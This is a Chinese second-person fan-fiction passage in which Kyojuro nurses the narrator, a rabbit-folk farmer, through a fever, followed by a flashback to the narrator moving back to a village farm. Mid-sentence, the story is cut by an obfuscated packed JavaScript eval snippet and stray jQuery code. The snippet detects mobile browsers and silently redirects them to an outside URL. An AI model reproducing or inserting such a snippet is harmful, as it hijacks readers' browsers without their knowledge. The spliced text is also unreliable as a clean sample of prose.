秋日的某天,你心血来潮,想试试晒土豆干,便拉着杏寿郎在院子里又是清洗又是切片,鼓捣了大半天,才将土豆片整整齐齐铺满了晒架。
谁知翌日,一场毫无征兆的秋雨不期而至,将昨日的辛劳冲刷得一干二净。
根本顾不上抱怨天气预报的不准,你急忙冲进雨幕抢收土豆片。杏寿郎恰好不在家,你只能一个人来回折腾好几圈,才将其全部收完。
这时,你已从头湿到脚,衣服紧贴瑟瑟发抖的身躯,凉意直往骨头缝里钻。
即使急忙去洗了个热水澡,换了身干净的衣服,后果也很快找上了门。
当天傍晚,你开始头晕鼻塞,凌晨时分,额头发烫,浑身关节酸软得像散了架。
到了起床的点,你惦记着田里的幼苗,强撑着爬起来,还没走出家门,就被一张厚毯子裹进了壁炉旁的摇椅里。
天旋地转间,杏寿郎那张写满了无奈的脸映入眼帘。
“既然生病了,就要好好休息!”
“可是……”
“我知道了!”
嗯?我还什么都没说呢,你就知道什么了?
没等你发出疑问,杏寿郎已经大步离去,独留你不知所措地嵌在摇椅里。
壁炉里柴火燃烧的噼啪声,完全压不过窗外呼啸的风声与不断撞击木屋的连绵雨声,但散发的融融暖意,却让人心生留恋。
糟糕,完全不想动了。
可听着这些嘈杂的声响,你愈发担心脆弱的幼苗撑不住暴雨的摧残。
纠结半天,正打算掀开毯子,却听门口一声轻响,抬眼望去,是杏寿郎回来了。
他一手提着木桶,一手端碗,碗口白雾袅袅,朦胧了他轮廓分明的脸庞。
“久等了!”
他快步走到你的身边,先把碗置于一旁的桌上,水声响了几下后,你的额头上便搭上一块浸过凉水的毛巾。
冰冷的湿气透过肌肤洗刷混沌的大脑,尽管仍有些许无法忽略的胀痛,但思维一下子变得清晰起来,被堵住的鼻子也短暂恢复了正常。
你嗅到了一丝不妙的古怪气味,目光不由自主锁定到源头上。
你咽了咽口水,嗓子干痒到说话时的震颤都会引起疼痛,“那是什么?”
“这是生姜红糖水,虽然味道有些古怪,但效果非常好!”
像是被你提醒了,杏寿郎端起那碗神秘液体就要递过来。
眼看着碗越来越近,你吓得两只耳朵都竖起——作为一个垂耳兔族人,这是多么少见的事。
你连忙扭动身躯,把自己往椅子里挤了又挤,紧攥毛毯往上扯,几乎盖住大半张脸,只露出一双写满抗拒的眼睛。
杏寿郎看着你这副模样,无奈地叹了口气。
他极其自然地在你脚边的地毯上盘膝坐下,将碗又往前递了递,语气温和却不容商量。
“得趁热喝才行!凉了不仅更难喝,效果也会打折扣!”
你从毯子的缝隙里看他,那双金红色的眼眸里映着跃动的火光,显得格外坚定专注,没有丝毫妥协的余地。
“……好吧。”
你知道自己拗不过他,只好鼓起勇气,闭着眼撞上去,就着他的手狠狠灌了一大口。
yue——!什么玩意儿!?
这古怪的味道实在难以形容,教你想吐却吐不出,只能捂着嘴恹恹地缩回毯子里,整张脸皱成一团,眼眶湿润。
你试图转移注意力,也确实是放心不下,开口问道:“田里的菜——”
你缓了口气,压住口腔内翻涌的那股辛辣混甜腻的古怪味道,“会不会被雨打坏了?”
“不用担心!我刚才去田地里看过了,大家都好好的。土地喝饱了水,叶子也更绿了。等明天太阳出来后,一切都会更好的!”
他的话语总是带着一种让人安心的笃定,异常清晰有力,穿透连绵的嘈杂雨声,将你不安跳动的心按回原位。
你松了口气,想对他露出一个感谢的笑容,却被反胃感搞得略显勉强。
杏寿郎见状,眉头微不可察地皱了一下。他忽地伸出手,掌心向上,稳稳地摊在你眼前。
那是一只骨节分明、带着常年练习剑道形成的厚茧和零星旧伤疤的手。
“如果还不舒服的话,”他语气坦荡自然,眼神清澈如炬,“那就握手吧!”
“我小时候生病难受,母亲就是这样握着我的手,一直守在我身边的。”他顿了顿,似乎在回忆那份温暖,“很不可思议,握着她的手,好像真的就不那么难熬了,会感觉安心很多。”
你迟疑了一下,将一只手缓缓从毯子里抽出,轻轻放入他的掌心。
真的很不可思议。
明明发烧时的你,手的温度要比他高很多,却依然能感到一股源源不断的暖意,顺着你的指尖一路蔓延,流过手腕,窜过手臂,奇异地熨贴了你发冷的四肢百骸。
他宽大的手掌将你的手完全拢住,指腹的茧子带来一种粗糙而真实的触感。
杏寿郎就真的这样静静地坐着守着你,脊背挺得笔直,除了空闲的手偶尔替你更换额上温度变化的毛巾,再没其他动作。
壁炉里的柴火噼啪作响,跃动的火光将他英挺的侧影投在墙壁上,拉得很长,安稳如山。
屋外的风雨声似乎被这温暖的角落隔绝开了,只剩下令人心安的寂静,和他掌心传来的令人昏昏欲睡的暖意。
你不是第一次生病发烧,却是第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029064|194492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次有这么一个人愿意一直守在你身边。
糟糕,体温是不是又上涨了?不然,怎么眼睛都开始烧得酸痛了?
意识渐渐模糊,一个念头却愈发清晰。
——还好当时选择了回到这里。
—
故事还要从初春时说起。
你坐在狭小的出租屋里,手里捏着一封从老家寄来的信。
“孩子,爷爷老了,干不动农活了。如果你在大城市觉得累了,就回来吧。这里永远是你的家。”
就这几句话,没有多余的煽情。可你知道,这意味着什么。
窗外的霓虹彻夜不息,你盯着看了很久,直到晨光撕开天际,才挪到桌前,打开电脑,写下一封简短的辞职信。
犹豫良久,点击发送,长舒一口气后,开始收拾行李。傍晚时分,你便拖着行李箱,登上了返乡的长途巴士。
引擎轰鸣,车子缓缓驶离站台。
窗外高楼渐疏,绿意渐浓。巴士驶入山区,道路开始蜿蜒,远处山脚下有零星的小镇,屋顶是温暖的红褐色,炊烟袅袅升起,田野被分割成整齐的方块,绿色的细苗在风中起伏。
你静静看着这一切在眼前流淌而过,心里没有想象中的恐慌或不安,反而是一种奇异的平静,像是终于卸下背了太久的重担。
不知过了多久,司机粗犷的催促声从前座传来,你睁开眼,才发现自己不知何时睡着了,巴士已在青草镇的站牌边停稳。
提着行李箱下车,新鲜空气迎面扑来。
风里满是青草、露水和野花的味道,你不由得深深吸了好几口,连夜奔波的倦意仿佛一下子被洗净,连带着胸口那股淤积已久的闷气也散开了。
你站在站牌边,看着这个陌生又熟悉的小镇。
没有高楼,只有低矮的屋舍沿着青石板路向远处延伸。路两旁是高大的梧桐树,枝叶在风中沙沙作响。篱笆上爬满了各色的鲜花,百花争艳,开得热闹。有细碎的人声,从附近的巷子里传来,夹杂着隐约的笑声。
跟大城市里令人厌烦的喧闹完全不一样,这儿就是你今后的家了。
你拖着行李箱往里走,轮子在石板路上发出咕噜咕噜的声响,引起旁人的注意。有镇民从窗户里探出头来看你,眼神好奇但友善。你对他们点头微笑,他们也回以笑容。
走到一个岔路口时,你停下了。
印象中,爷爷的农场应该在小镇西边,可西边是哪边?
左边?右边?
站在分岔路口的指示牌前,你努力回想,却只记得一点模糊得像隔了层毛玻璃的片段画面。
正当你准备用硬币决定方向时,一道怯生生的问候从身后传来。
“您好?”